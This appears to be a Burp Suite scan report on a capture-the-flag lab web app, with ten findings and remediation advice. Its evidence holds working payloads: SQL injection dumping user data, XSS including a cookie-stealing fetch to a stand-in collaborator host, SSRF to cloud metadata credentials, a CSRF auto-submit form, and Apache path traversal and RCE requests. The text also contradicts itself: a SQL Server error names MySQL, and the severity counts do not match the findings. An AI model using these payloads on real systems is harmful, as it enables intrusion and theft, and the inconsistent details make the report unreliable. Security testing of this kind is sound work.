================================================================================
  BURP SUITE SCAN REPORT
  Target: http://vuln-webapp.ctf.local:8080
  Scan Date: 2026-04-07 09:30:00 UTC
  Scanner Version: Burp Suite Professional v2024.12.1
  Scan Type: Active Scan (Full Audit)
================================================================================


FINDING 1 OF 10
================================================================================
  Severity:       CRITICAL
  Confidence:     Certain
  Type:           SQL Injection
  URL:            http://vuln-webapp.ctf.local:8080/products
  Method:         GET
  Parameter:      category (URL query string)

  Evidence:
    Injected payload: electronics' AND 1=CONVERT(int,(SELECT @@version))--
    Server response included error:
      "Conversion failed when converting the nvarchar value
       'MySQL 8.0.32-ubuntu0.22.04.1' to data type int."

    Time-based confirmation:
      Payload: electronics' AND SLEEP(10)--
      Normal response time: 43ms
      Injected response time: 10,048ms

    UNION-based extraction confirmed with 4-column table:
      electronics' UNION SELECT username,password,email,NULL FROM users--
      Returned 3 rows of user data including password hashes.

  Remediation:
    - Use parameterized queries (prepared statements) for ALL database interactions
    - Apply input validation as a defense-in-depth measure
    - Implement least-privilege database accounts (read-only where possible)
    - Deploy a Web Application Firewall (WAF) as an additional layer

  References:
    - CWE-89: SQL Injection
    - OWASP Top 10 2021: A03 Injection
    - https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html


FINDING 2 OF 10
================================================================================
  Severity:       HIGH
  Confidence:     Certain
  Type:           Reflected Cross-Site Scripting (XSS)
  URL:            http://vuln-webapp.ctf.local:8080/search
  Method:         GET
  Parameter:      q (URL query string)

  Evidence:
    Injected payload: <script>alert(1)</script>
    Response body (line 47):
      <h2>Search results for: <script>alert(1)</script></h2>

    The input is reflected directly in HTML body context without any encoding
    or sanitization. The following payloads were also confirmed:
      <img src=x onerror=alert(1)>
      <svg/onload=alert(1)>
      <details open ontoggle=alert(1)>

    Additional injection point found in same parameter within an attribute:
      <input type="text" name="q" value="[USER INPUT]">
      Breaking payload: " onfocus=alert(1) autofocus="

  Remediation:
    - Apply context-appropriate output encoding (HTML entity encoding for HTML body,
      attribute encoding for HTML attributes, JavaScript encoding for script contexts)
    - Implement Content-Security-Policy header with strict script-src directive
    - Use HTTPOnly flag on session cookies to limit XSS impact
    - Consider using a templating engine with auto-escaping enabled

  References:
    - CWE-79: Cross-site Scripting (Reflected)
    - OWASP Top 10 2021: A03 Injection
    - https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html


FINDING 3 OF 10
================================================================================
  Severity:       HIGH
  Confidence:     Certain
  Type:           Stored Cross-Site Scripting (XSS)
  URL:            http://vuln-webapp.ctf.local:8080/blog/post/42/comment
  Method:         POST
  Parameter:      comment (POST body)

  Evidence:
    Injected payload in comment field:
      Test<svg onload=fetch('http://collaborator.example/c='+document.cookie)>

    Visiting /blog/post/42 as a different user triggered an out-of-band
    HTTP request to the collaborator server containing the victim's session cookie:
      GET /c=PHPSESSID=c3d4e5f6a7b8c9d0e1f2a3b4 HTTP/1.1
      Host: collaborator.example

    The injected SVG tag is rendered without sanitization in the comment display
    template. All users viewing the blog post are affected.

  Remediation:
    - Sanitize all user-generated content on input AND encode on output
    - Use a proven HTML sanitization library (e.g., DOMPurify, Bleach)
    - Implement Content-Security-Policy to restrict inline script execution
    - Set SameSite=Strict on session cookies

  References:
    - CWE-79: Cross-site Scripting (Stored)
    - OWASP Top 10 2021: A03 Injection


FINDING 4 OF 10
================================================================================
  Severity:       HIGH
  Confidence:     Certain
  Type:           Insecure Direct Object Reference (IDOR)
  URL:            http://vuln-webapp.ctf.local:8080/api/v1/invoices/{id}
  Method:         GET, PUT, DELETE
  Parameter:      id (URL path)

  Evidence:
    Authenticated as user_id 57 (role: user).

    GET /api/v1/invoices/1042 -> 200 OK (own invoice, user_id: 57)
    GET /api/v1/invoices/1043 -> 200 OK (other user's invoice, user_id: 12)
    GET /api/v1/invoices/1044 -> 200 OK (other user's invoice, user_id: 3)

    PUT /api/v1/invoices/1043 with {"amount":0} -> 200 OK
      Response: {"message":"Invoice updated successfully"}

    DELETE /api/v1/invoices/1040 -> 200 OK
      Response: {"message":"Invoice deleted","invoice_id":1040}

    The application performs authentication (valid token required) but does NOT
    verify that the authenticated user owns the requested invoice. All CRUD
    operations are vulnerable to horizontal privilege escalation.

    Same vulnerability confirmed on:
      /api/v1/users/{id}     (read and modify any user profile)
      /api/v1/orders/{id}    (read any order)

  Remediation:
    - Implement server-side authorization checks: verify the authenticated user
      owns or has permission to access the requested resource
    - Use indirect references (UUIDs) instead of sequential integer IDs
    - Add authorization middleware that runs on every API endpoint
    - Log and alert on access pattern anomalies (user accessing many different IDs)

  References:
    - CWE-639: Authorization Bypass Through User-Controlled Key
    - OWASP Top 10 2021: A01 Broken Access Control


FINDING 5 OF 10
================================================================================
  Severity:       HIGH
  Confidence:     Firm
  Type:           Server-Side Request Forgery (SSRF)
  URL:            http://vuln-webapp.ctf.local:8080/api/fetch-preview
  Method:         POST
  Parameter:      url (JSON body)

  Evidence:
    The endpoint accepts a URL parameter and fetches its contents server-side
    to generate a "link preview."

    Internal service access:
      {"url":"http://127.0.0.1:6379/"} -> Redis error messages returned
      {"url":"http://127.0.0.1:3306/"} -> MySQL handshake bytes returned
      {"url":"http://10.10.10.100:8080/health"} -> Internal payment service info

    Cloud metadata access:
      {"url":"http://169.254.169.254/latest/meta-data/iam/info"}
        -> IAM role name: webapp-role
      {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role"}
        -> Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

    Redirect bypass:
      {"url":"http://attacker.com/redir?to=http://127.0.0.1:22"}
        -> SSH banner returned (SSH-2.0-OpenSSH_8.9p1)

    The server follows redirects and does not validate the final destination.
    No allowlist/denylist is applied to the resolved IP address.

  Remediation:
    - Implement an allowlist of permitted domains/IP ranges
    - Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12,
      192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16)
    - Disable HTTP redirects or re-validate the target after each redirect
    - Use a dedicated egress proxy with network-level restrictions
    - Require IMDSv2 (token-based) for AWS metadata access

  References:
    - CWE-918: Server-Side Request Forgery
    - OWASP Top 10 2021: A10 Server-Side Request Forgery


FINDING 6 OF 10
================================================================================
  Severity:       HIGH
  Confidence:     Certain
  Type:           Cross-Site Request Forgery (CSRF)
  URL:            http://vuln-webapp.ctf.local:8080/account/change-password
  Method:         POST
  Parameter:      (no CSRF token present)

  Evidence:
    The password change endpoint accepts POST requests with only:
      new_password=<value>&confirm_password=<value>

    No CSRF token is required in the request.
    No current password is required for verification.
    The SameSite attribute is not set on the PHPSESSID cookie.
    The Origin and Referer headers are not validated.

    Proof of concept: submitting the following form from an external domain
    successfully changes the victim's password:

      <form action="http://vuln-webapp.ctf.local:8080/account/change-password" method="POST">
        <input type="hidden" name="new_password" value="attacker123">
        <input type="hidden" name="confirm_password" value="attacker123">
      </form>
      <script>document.forms[0].submit();</script>

    Same issue confirmed on:
      /account/change-email   (change email without CSRF token)
      /transfer               (fund transfer without CSRF token)
      /profile/update         (profile modification without CSRF token)

  Remediation:
    - Implement anti-CSRF tokens (synchronizer token pattern or double submit cookie)
    - Set SameSite=Strict or SameSite=Lax on all session cookies
    - Require current password for sensitive account changes
    - Validate Origin and Referer headers as defense-in-depth

  References:
    - CWE-352: Cross-Site Request Forgery
    - OWASP Top 10 2021: A01 Broken Access Control
    - https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html


FINDING 7 OF 10
================================================================================
  Severity:       CRITICAL
  Confidence:     Certain
  Type:           Sensitive Data Exposure - Source Code
  URL:            http://vuln-webapp.ctf.local:8080/.git/HEAD
  Method:         GET
  Parameter:      N/A

  Evidence:
    /.git/HEAD returns: ref: refs/heads/main
    /.git/config returns:
      [core]
        repositoryformatversion = 0
        filemode = true
      [remote "origin"]
        url = https://github.com/targetcorp/webapp-internal.git
        fetch = +refs/heads/*:refs/remotes/origin/*

    Using git-dumper, the full repository was reconstructed including:
      - Complete application source code
      - Database migration files with schema definitions
      - Hardcoded API keys in config/settings.py
      - .env.example with production credential patterns
      - Git commit history revealing developer names and email addresses

    Additionally found:
      /.env contains:
        DB_HOST=10.10.10.20
        DB_USER=webapp_prod
        DB_PASS=Pr0d_Db_P@ss!2026
        SECRET_KEY=a7f8c9d0e1f2a3b4c5d6e7f8a9b0c1d2
        AWS_ACCESS_KEY=AKIA3EXAMPLEKEY
        AWS_SECRET_KEY=wJalrXUtnFEMI/EXAMPLESECRET
        STRIPE_API_KEY=sk_live_51Example...

  Remediation:
    - Immediately remove /.git/ directory from the web root
    - Block access to dotfiles and dotdirectories in web server configuration
    - Remove .env from the web root; use environment variables or a secrets manager
    - Rotate ALL exposed credentials immediately
    - Add .git/ and .env to .htaccess deny rules or nginx location blocks

  References:
    - CWE-538: Insertion of Sensitive Information into Externally-Accessible File
    - OWASP Top 10 2021: A05 Security Misconfiguration


FINDING 8 OF 10
================================================================================
  Severity:       MEDIUM
  Confidence:     Certain
  Type:           Missing Security Headers
  URL:            http://vuln-webapp.ctf.local:8080/ (site-wide)
  Method:         GET
  Parameter:      N/A

  Evidence:
    Response headers for all pages are missing the following security headers:

    MISSING: Content-Security-Policy
      Impact: No restriction on script sources; enables XSS exploitation

    MISSING: X-Frame-Options
      Impact: Pages can be embedded in iframes; enables clickjacking attacks

    MISSING: X-Content-Type-Options
      Impact: Browser may MIME-sniff responses; enables content-type attacks

    MISSING: Strict-Transport-Security
      Impact: Connections can be downgraded to HTTP; enables MITM attacks

    MISSING: Permissions-Policy
      Impact: No restriction on browser feature access (camera, mic, etc.)

    MISSING: Referrer-Policy
      Impact: Full URL including query parameters sent in Referer header

    PRESENT BUT WEAK: Set-Cookie: PHPSESSID=...; Path=/; HttpOnly
      Missing: Secure flag (cookie sent over HTTP)
      Missing: SameSite attribute (vulnerable to CSRF)

  Remediation:
    - Add Content-Security-Policy: default-src 'self'; script-src 'self'
    - Add X-Frame-Options: DENY (or SAMEORIGIN if framing is needed)
    - Add X-Content-Type-Options: nosniff
    - Add Strict-Transport-Security: max-age=31536000; includeSubDomains
    - Add Permissions-Policy: camera=(), microphone=(), geolocation=()
    - Add Referrer-Policy: strict-origin-when-cross-origin
    - Add Secure and SameSite=Strict flags to all cookies

  References:
    - CWE-693: Protection Mechanism Failure
    - OWASP Top 10 2021: A05 Security Misconfiguration
    - https://securityheaders.com/


FINDING 9 OF 10
================================================================================
  Severity:       CRITICAL
  Confidence:     Firm
  Type:           Path Traversal / Remote Code Execution
  URL:            http://vuln-webapp.ctf.local:8080/cgi-bin/
  Method:         GET
  Parameter:      URL path

  Evidence:
    Apache 2.4.49 is vulnerable to CVE-2021-41773 (path traversal) and
    CVE-2021-42013 (RCE via path traversal with mod_cgi enabled).

    Path traversal test:
      GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
      Response: root:x:0:0:root:/root:/bin/bash ...

    Remote code execution test (mod_cgi confirmed enabled):
      POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1
      Content-Type: text/plain

      echo; id; whoami

      Response:
        uid=33(www-data) gid=33(www-data) groups=33(www-data)
        www-data

    The web server process runs as www-data. Combined with the database
    credentials found in .env, an attacker can achieve full application
    compromise and lateral movement to the database server.

  Remediation:
    - IMMEDIATELY upgrade Apache to version 2.4.59 or later
    - Disable mod_cgi if not required
    - Implement network segmentation to limit lateral movement
    - Apply the principle of least privilege to the web server process
    - Consider deploying the application behind a reverse proxy

  References:
    - CVE-2021-41773: Apache HTTP Server Path Traversal
    - CVE-2021-42013: Apache HTTP Server Path Traversal and RCE
    - https://httpd.apache.org/security/vulnerabilities_24.html


FINDING 10 OF 10
================================================================================
  Severity:       MEDIUM
  Confidence:     Certain
  Type:           Information Disclosure - Backup Files
  URL:            http://vuln-webapp.ctf.local:8080/backup/
  Method:         GET
  Parameter:      N/A

  Evidence:
    Directory listing is enabled on /backup/, revealing:

    [FILE] database.sql.bak          2,457,832 bytes  2026-03-15 02:00
    [FILE] config.php.bak                1,893 bytes  2026-03-10 14:22
    [FILE] site-backup-2026-03-15.tar.gz  48,293,104 bytes  2026-03-15 02:05
    [FILE] .htaccess.old                   234 bytes  2026-02-28 09:15

    database.sql.bak contains:
      - Full database schema and data dump
      - User table with 847 records including password hashes
      - A 'flags' table containing CTF flag values
      - Payment records with partial credit card numbers

    config.php.bak contains:
      - Database connection credentials (matching .env values)
      - Application secret key
      - Third-party API keys (Stripe, SendGrid, AWS)

    site-backup-2026-03-15.tar.gz contains:
      - Complete application source code
      - All configuration files
      - Upload directory with user files

  Remediation:
    - Remove ALL backup files from the web-accessible directory
    - Disable directory listing (Options -Indexes in Apache)
    - Store backups in a non-web-accessible location with restricted permissions
    - Implement automated backup rotation that removes old files
    - Add file extension rules to block serving .bak, .old, .sql, .tar.gz files

  References:
    - CWE-530: Exposure of Backup File to an Unauthorized Control Sphere
    - OWASP Top 10 2021: A05 Security Misconfiguration


================================================================================
SCAN SUMMARY
================================================================================

  Total findings:     10
  Critical:           3  (SQL Injection, Source Code Exposure, Path Traversal/RCE)
  High:               4  (Reflected XSS, Stored XSS, IDOR, SSRF, CSRF)
  Medium:             2  (Missing Security Headers, Backup File Exposure)
  Low:                0
  Informational:      0

  Unique URLs tested: 287
  Requests made:      14,892
  Scan duration:      18 minutes 42 seconds

================================================================================
  DISCLAIMER: This report is generated for authorized security testing purposes
  only. Findings should be remediated according to severity priority. Critical
  and High findings require immediate attention.
================================================================================